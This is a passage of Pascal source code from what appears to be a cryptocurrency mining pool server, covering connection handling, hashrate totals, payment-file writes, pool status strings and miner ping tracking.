if AContext.Connection.Connected then
TRY
AContext.Connection.Disconnect;
EXCEPT ON E:Exception do
begin
ToPoolLog('Error trying to RECLOSE pool member:'+E.Message);
end;
END;{Try}
Poolserverconex[contador]:=Default(PoolUserConnection);
U_PoolConexGrid := true;
break
end;
end;
end;
LeaveCriticalSection(CSMinersConex);
setmilitime('BorrarPoolServerConex',2);
End;
// VERIFY THE POOL CONECTIONS AND REFRESH POOL TOTAL HASHRATE
Procedure CalculatePoolHashrate();
var
contador : integer;
memberaddress : string;
Begin
PoolTotalHashRate := 0;
LastPoolHashRequest := StrToInt64(UTCTime);
if ( (Miner_OwnsAPool) and (length(PoolServerConex)>0) ) then
begin
for contador := 0 to length(PoolServerConex)-1 do
begin
TRY
PoolTotalHashRate := PoolTotalHashRate + GetMinerHashrate(contador);
EXCEPT on E:Exception do
toPoollog('Error calculating pool hashrate: '+E.Message);
END{Try};
end;
end;
if ( (POOL_LBS) and (poolminer.steps<=8) and (G_TotalPings>500) ) then
ProcessLinesAdd('Restart');
End;
function GetPoolMemberPosition(member:String):integer; // ThSa verified!
var
contador : integer;
Begin
result := -1;
Entercriticalsection(CSPoolMembers);
if length(ArrayPoolMembers)>0 then
begin
for contador := 0 to length(ArrayPoolMembers)-1 do
begin
if arraypoolmembers[contador].Direccion= member then
begin
result := contador;
break;
end;
end;
end;
Leavecriticalsection(CSPoolMembers);
End;
function IsPoolMemberConnected(address:string):integer; // ThSa verified!
var
counter : integer;
Begin
result := -1;
EnterCriticalSection(CSMinersConex);
if length(PoolServerConex)>0 then
begin
for counter := 0 to length(PoolServerConex)-1 do
if ((Address<>'') and (PoolServerConex[counter].Address=address)) then
begin
result := counter;
break;
end;
end;
LeaveCriticalSection(CSMinersConex);
End;
Function NewSavePoolPayment(DataLine:string):boolean; // ThSa verified!
var
archivo : file of PoolPaymentData;
ThisPay : PoolPaymentData;
Begin
result:= true;
ThisPay := Default(PoolPaymentData);
ThisPay.block:=StrToIntDef(Parameter(DataLine,0),0);
Thispay.address:=Parameter(DataLine,1);
Thispay.amount:=StrToIntDef(Parameter(DataLine,2),0);
Thispay.Order:=Parameter(DataLine,3);
Assignfile(archivo, PoolPaymentsFilename);
{$I-}
reset(archivo);
{$I+}
If IOResult = 0 then// File is open
begin
TRY
seek(archivo,filesize(archivo));
write(archivo,Thispay);
insert(Thispay,ArrPoolPays,length(ArrPoolPays));
EXCEPT ON E:Exception do
begin
result := false;
Consolelinesadd('ERROR SAVING POOLPAYS FILE');
end;
END;{Try}
Closefile(archivo);
end
else result := false;
End;
Function GetMinerHashrate(slot:integer):int64; // ThSa verified!
Begin
result := 0;
EnterCriticalSection(CSMinersConex);
result := PoolServerConex[slot].Hashpower;
LeaveCriticalSection(CSMinersConex);
End;
//STATUS 1{PoolHashRate} 2{PoolFee} 3{PoolShare} 4{blockdiff} 5{Minercount} 6{arrayofminers address:balance:blockstillopay:hashpower}
function PoolStatusString():String; // ThSa verified!
var
resString : string = '';
counter : integer;
miners : integer = 0;
Begin
Entercriticalsection(CSPoolMembers);
TRY
for counter := 0 to length(arraypoolmembers)-1 do
begin
if arraypoolmembers[counter].Direccion<>'' then
begin
resString := resString+arraypoolmembers[counter].Direccion+':'+IntToStr(arraypoolmembers[counter].Deuda)+':'+
IntToStr(MyLastBlock-(arraypoolmembers[counter].LastPago+PoolInfo.TipoPago))+
':'+GetMinerHashrate(counter).ToString+' ';
miners +=1;
end;
end;
EXCEPT ON E:Exception do
begin
ToExcLog('Error generating pool status string: '+E.Message);
end
END{Try};
Leavecriticalsection(CSPoolMembers);
result:= 'STATUS '+IntToStr(PoolTotalHashRate)+' '+IntToStr(poolinfo.Porcentaje)+' '+
IntToStr(PoolShare)+' '+IntToStr(PoolMiner.Dificult)+' '+IntToStr(miners)+' '+resString;
End;
function StepAlreadyAdded(stepstring:string):Boolean; // ThSa verified!
var
counter : integer;
Begin
result := false;
EnterCriticalSection(CSPoolMiner);
if length(Miner_PoolSharedStep) > 0 then
begin
for counter := 0 to length(Miner_PoolSharedStep)-1 do
begin
if stepstring = Miner_PoolSharedStep[counter] then
begin
result := true;
break;
end;
end;
end;
LeaveCriticalSection(CSPoolMiner);
end;
Procedure RestartPoolSolution();
var
steps,counter : integer;
Begin
steps := StrToIntDef(parameter(Miner_RestartedSolution,1),0);
if ( (steps > 0) and (steps < 10) ) then
begin
PoolMiner.steps := steps;
PoolMiner.DiffChars:=GetCharsFromDifficult(PoolMiner.Dificult, PoolMiner.steps);
for counter := 0 to steps-1 do
begin
PoolMiner.Solucion := PoolMiner.Solucion+Parameter(Miner_RestartedSolution,2+counter)+' ';
end;
end;
CrearRestartfile;
End;
function KickPoolIP(IP:string): integer;
var
counter : integer;
thiscontext : TIdContext;
Begin
result := 0;
for counter := 0 to length(PoolServerConex)-1 do
begin
if PoolServerConex[counter].Ip = Ip then
begin
thiscontext := PoolServerConex[counter].Context;
TRY
PoolServerConex[counter].Context.Connection.IOHandler.InputBuffer.Clear;
PoolServerConex[counter].Context.Connection.Disconnect;
result := result+1;
BorrarPoolServerConex(thiscontext);
EXCEPT ON E: Exception do
begin
ToPoolLog('Cant kick connection from: '+IP);
end;
end;
end;
end;
End;
// ***** New ThSa functions
Procedure UpdateMinerPing(index:integer;Hashpower:int64 = -1);
Begin
EnterCriticalSection(CSMinersConex);
PoolServerConex[index].LastPing:=UTCTime.ToInt64;
if hashpower > -1 then PoolServerConex[index].Hashpower:=Hashpower;
LeaveCriticalSection(CSMinersConex);
End;
Function IsMinerPinedOut(index:integer):boolean;
var
LastPing : int64;
Begin
result := false;
EnterCriticalSection(CSMinersConex);
LastPing := PoolServerConex[index].LastPing;
LeaveCriticalSection(CSMinersConex);
if LastPing+15<UTCTime.ToInt64 then result := true;
End;
END. // END UNIT
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.